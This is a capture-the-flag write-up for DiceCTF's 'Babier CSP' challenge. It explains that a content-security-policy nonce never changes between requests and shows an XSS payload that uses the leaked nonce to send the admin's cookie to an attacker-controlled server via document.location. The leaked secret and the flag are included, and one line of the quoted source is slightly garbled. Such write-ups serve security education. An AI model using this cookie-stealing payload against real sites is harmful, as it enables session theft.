Babier CSP - DiceCTF

A nice Content Security Policy (CSP) challenge that had a very nice way of giving you all the pieces you need from the beginning to have a path forward to find the flag. Upon noticing that the nonce value for the script-src CSP directive does not change between requests, we can extract the nonce value, run our own scipts by injecting it into the name parameter, and thus control the admin visiting function to have them make a request to our own server with their cookie as part of the request. This gives us the secret cookie of the admin, so we can finally visit the proper endpoint to view the flag.

Analysis

The challenge description gives us two URLs, along which we are also given the source code for the “main” page with the name functionality in the index.js file.

index.js

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => t</a> {
  console.log(`Example app listening at http://localhost:${port}`)
})

From the description we can assume that we will need to leak the secret cookie from the admin user when we have them visit our given URL (The admin will set a cookie secret equal to config.secret in index.js). This is confirmed from reviewing the source code that is included as part of the challenge as we can see we will require the “secret” to view the flag.html page.

app.use('/' + SECRET, express.static(__dirname + "/secret"));

This secret is a value stored in a config file (const SECRET = config.secret;), which we have no information on, so it could be brute-forceable or it could be futile to attempt brute forcing. Since we have no information, I assumed brute-forcing was not the way forward.

Code Review

Looking at the code we can see that the app gets setup once, so the NONCE value it generates is essentially static. This is important to note, as when we review the CSP policy given by res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`); we see both a default-src and script-src directives. The default-src directive is the catch all fallback-directive which is to say that if a specific fetch-directive is absence/undefined (ex: no script-src directive), then the CSP looks to the default-src for the specifications on how to handle the loading of that particular data/resource. NOTE it is set to none, NOT 'none'. The 'none' case is a special directive source assignemnt which is as it sounds; it does not allow any data/resources to be loaded (ie. the empty set). Whereas the none assignment is similar to setting it to any other domain you trust, for example 7riple7hrea7.com where it will only load resources from that domain. So, setting it to none means it will only load data/sources from the none domain, which we can’t control. What this means is we have to find a way to leak the cookie from the admin only using script-src data, as it is the only possible data we can potentially control.

The script-src directive is set to none-${NONE}, which looking at the documentation here, tells us that this is a security control that restricts execution of the script code unless it contians the nonce attribute that contains the proper nonce value. If it does, the page will execute the script, otherwise it will ignore it. Think of this security control as a type of credential, where it’s using something it knows to give permission to execute the script. If you don’t know it, then you can’t execute.

This is where the flaw lies with getting javascript to execute. We can see in the index.js source code that the program generates a safe 16 byte, base64-encoded string as the NONCE value. This would be adequate to secure the webpage if it regenerated a new NONCE with each visit, however, since the program is run once to start the server, and the NONCE assignment is not place within the apt.get('/'...) portion of the script when the page is loaded, the NONCE is generated once, which we can leak from the page by viewing the source in the debugger tab of firefox.

We see the nonce value is LRGWAXOY98Es0zz0QOVmag==. We now have the nonce to allow execution of javascript in the page, however, how does this help us at this point? Well we saw that in the main page, it has the view fruit button, which when clicked shows a name of a fruit. When this happens we see the URL change from https://babier-csp.dicec.tf/ to https://babier-csp.dicec.tf/?name=orange. When the name parameter is set it is injected into the DOM of the webpage (ie. it is an element that exists on the page as some tag like <h1> or <div>). In this case, setting the name parameter to whatever we want, we will see that loaded into the page as an h1 element.

The Payload

This is where we can throw a malicious script tag into the URL, and have it execute when the admin visits it. Now that we have all the parts for our exploit we can develop the payload. First, lets verify the script will execute with the nonce value leaked.

Now, we can trivially make a javascript payload that leaks the cookie data in the request. I used a simple document.location redirect to make a request to my server as you can see below.

var c = document.cookie;
document.location = "http://<ip>/cookie="+c;

This payload, when put into the name parameter looks like

https://babier-csp.dicec.tf/?name=<script nonce="LRGWAXOY98Es0zz0QOVmag==">var c = document.cookie; document.location="http://<ip>/cookie="+c;</script>     # Not URL Encoded
https://babier-csp.dicec.tf/?name=<script nonce="LRGWAXOY98Es0zz0QOVmag==">var%20c%20=%20document.cookie;document.location=%22http://<ip>/cookie=%22%2bc;</script> 		# URL Encoded

With this, we pass it to the admin visiting page as the url and wait to see them hit our server.

We see the secret is 4b36b1b8e47f761263796b1defd80745. With this secret we can simply visit the secret URL that will load the flag.html file and get the flag!

dice{web_1s_a_stat3_0f_grac3_857720}